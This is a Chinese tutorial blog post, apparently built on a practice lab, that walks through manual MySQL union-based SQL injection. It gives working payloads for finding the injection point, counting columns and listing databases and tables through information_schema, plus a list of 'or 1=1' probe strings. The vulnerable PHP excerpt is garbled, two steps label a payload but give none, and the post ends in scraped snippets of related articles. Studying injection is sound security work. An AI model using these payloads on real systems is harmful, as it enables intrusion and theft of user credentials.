頁面源**分析:
定義了乙個變數$id來接受通過get方式傳遞來的id值,在變數$sql裡沒有進行過濾直接把使用者輸入的id值傳入了進去,當使用者傳入惡意id引數1'的時候變數$sql裡就變成了這樣:
if(isset($_get['id']))
{$id=$_get['1'
'];$fp=fopen('result.txt','a');
fwrite($fp,'id:'.1'
."\n");
fclose($fp);
$sql="select * from users where id='1'
' limit 0,1";
當它進行資料查詢的時候我們的單引號把前面的語句進行閉合了,它自帶的單引號就空了出來,查詢就會報錯。
下面開始就開始利用吧
一.在get請求傳參後面輸入乙個測試符號',顯示資料庫報錯,這樣可以判斷出這裡存在注入點
二.這裡是有回顯的情況下,所以我們需要判斷顯示位有哪些,payload:
' order by 3 --+
order by: 判斷顯示位是多少(利用2分法來合理判斷,當超出範圍它會報錯,這樣來進行判斷)
--+: 用來注釋後面多餘的字元,有時候可以用#,%27
三.下面開始檢查頁面上的顯示位,把get傳入的引數改為乙個不存在的數,構造payload:
' union select 1,2,3 --+
union: 操作符用於合併兩個或多個 select 語句的結果集。
三.構造查詢語句並顯示在2個能顯示的地方,payload:
' union select 1,database(),user() --+
database() : 當前資料庫名
user() : 當前使用者名稱
version() : mysql 版本
@@datadir : 資料庫路徑
@@version_compile_os :作業系統版本
四.爆取所有的資料庫名稱,payload:
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
information_schema : 好像是mysql5.0開始就有的乙個庫,可以方便查詢
group_concat : 把所有的名字顯示出來,只站乙個位(資料庫可能是很多個,而顯示位只有1個)
五.選擇自己需要查詢的資料庫,查詢庫里的資料,payload:
?id=-1' union select 1,group_concat(table_name), 3 from information_schema.tables where
table_schema='security'--+
where : 後面加的是條件,這裡意思是當資料庫等於security
六.一看有個users一般是存放使用者賬號密碼的,我們爆取裡面的資料,payload:
7.資料庫知道了,表知道了,欄位也知道了,下面就開始爆取資料,payload:
注:這裡只是一種情況,有可能其他開發者寫的源**不是用的單引號,那麼我們就要更換方法了,要靈活運用
常用的檢測語句:
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
and xor or
感謝各位大佬賞臉,有什麼不足的地方請多多指教,歡迎意見轟炸,謝謝!!!
mysql錯誤回顯注入 sql注入 顯錯注入
前提知識 資料庫 就是將大量資料把儲存起來,通過計算機加工而成的可以高效訪問資料庫的資料集合 資料庫結構 庫 就是一堆表組成的資料集合 表 類似 excel,由行和列組成的二維表 字段 表中的列稱為字段 記錄 表中的行稱為記錄 單元格 行和列相交的地方稱為單元格 在資料庫裡有乙個系統庫 inform...
mysql手工注入
元資料庫 information schema其中儲存著其他所有資料庫的資訊 其中的表非常多 schemata 存放所有資料庫的名字 tables 用於存放所有資料表的名字 columns 存放所有欄位的名字 這些表裡面存放的資訊非常多,如果用select from tables 查詢會出現非常多劫...
手工注入 MySQL手工注入實戰和分析
通過 和構造 and 1 1 和 and 1 2 檢視頁面是否報錯。這裡通過and 1 1 發現頁面正常。如下圖。接下來,咱們再構造 and 1 2 發現頁面報錯,說明頁面存在注入點。如下圖。通過 order by 語句,如果後面輸入的數字大於資料庫的字段數,頁面就會報錯,通過這個,咱們先輸入 or...